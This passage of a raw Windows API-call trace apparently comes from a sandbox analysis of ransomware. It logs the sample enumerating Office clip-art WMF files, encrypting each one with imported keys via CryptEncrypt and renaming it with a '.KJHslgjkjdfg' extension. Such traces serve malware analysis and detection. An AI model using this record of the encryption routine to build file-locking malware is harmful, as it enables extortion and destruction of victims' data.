hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107300.WMF", cAlternateFileName="")) returned 1 [0172.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.840] GetProcessHeap () returned 0x2a0000 [0172.840] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.840] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.840] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.842] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.842] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.842] GetProcessHeap () returned 0x2a0000 [0172.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.842] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.842] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.842] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.842] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.842] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.842] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.842] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.843] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.843] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.843] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.843] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x99c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x99c, lpOverlapped=0x0) returned 1 [0172.843] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9a0) returned 1 [0172.843] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.843] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9a0, lpOverlapped=0x0) returned 1 [0172.843] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.843] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.843] SetEndOfFile (hFile=0x114) returned 1 [0172.845] GetProcessHeap () returned 0x2a0000 [0172.845] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.845] GetProcessHeap () returned 0x2a0000 [0172.845] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.kjhslgjkjdfg")) returned 1 [0172.846] CloseHandle (hObject=0x114) returned 1 [0172.846] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107302.WMF", cAlternateFileName="")) returned 1 [0172.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.847] GetProcessHeap () returned 0x2a0000 [0172.847] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.848] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.848] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.848] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.849] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.849] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.849] GetProcessHeap () returned 0x2a0000 [0172.849] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.850] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.850] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.850] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.850] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.850] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.850] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.850] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.850] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.850] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.850] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.850] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.850] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1028, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1028, lpOverlapped=0x0) returned 1 [0172.851] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1030, dwBufLen=0x1030 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1030) returned 1 [0172.851] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.851] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1030, lpOverlapped=0x0) returned 1 [0172.851] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.851] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.851] SetEndOfFile (hFile=0x114) returned 1 [0172.853] GetProcessHeap () returned 0x2a0000 [0172.854] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.854] GetProcessHeap () returned 0x2a0000 [0172.854] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.kjhslgjkjdfg")) returned 1 [0172.855] CloseHandle (hObject=0x114) returned 1 [0172.855] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107308.WMF", cAlternateFileName="")) returned 1 [0172.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.856] GetProcessHeap () returned 0x2a0000 [0172.856] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.856] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.856] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.856] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.856] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.856] GetProcessHeap () returned 0x2a0000 [0172.856] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.856] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.856] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.856] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.858] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.858] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.858] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.858] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.858] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.858] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.858] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3e10, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3e10, lpOverlapped=0x0) returned 1 [0172.859] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3e10, dwBufLen=0x3e10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3e10) returned 1 [0172.859] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.860] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3e10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3e10, lpOverlapped=0x0) returned 1 [0172.860] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.860] SetEndOfFile (hFile=0x114) returned 1 [0172.862] GetProcessHeap () returned 0x2a0000 [0172.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.862] GetProcessHeap () returned 0x2a0000 [0172.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.kjhslgjkjdfg")) returned 1 [0172.863] CloseHandle (hObject=0x114) returned 1 [0172.863] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107314.WMF", cAlternateFileName="")) returned 1 [0172.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.864] GetProcessHeap () returned 0x2a0000 [0172.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.864] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.864] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.868] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.868] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.868] GetProcessHeap () returned 0x2a0000 [0172.868] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.868] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.868] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.868] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.868] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.868] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.868] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.868] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.868] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.868] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.868] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a64, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a64, lpOverlapped=0x0) returned 1 [0172.869] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a70, dwBufLen=0x2a70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a70) returned 1 [0172.869] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.869] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2a70, lpOverlapped=0x0) returned 1 [0172.870] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.870] SetEndOfFile (hFile=0x114) returned 1 [0172.872] GetProcessHeap () returned 0x2a0000 [0172.872] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.872] GetProcessHeap () returned 0x2a0000 [0172.872] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.kjhslgjkjdfg")) returned 1 [0172.873] CloseHandle (hObject=0x114) returned 1 [0172.873] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107316.WMF", cAlternateFileName="")) returned 1 [0172.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.874] GetProcessHeap () returned 0x2a0000 [0172.874] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.874] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.874] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.876] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.876] CryptSetKeyParam 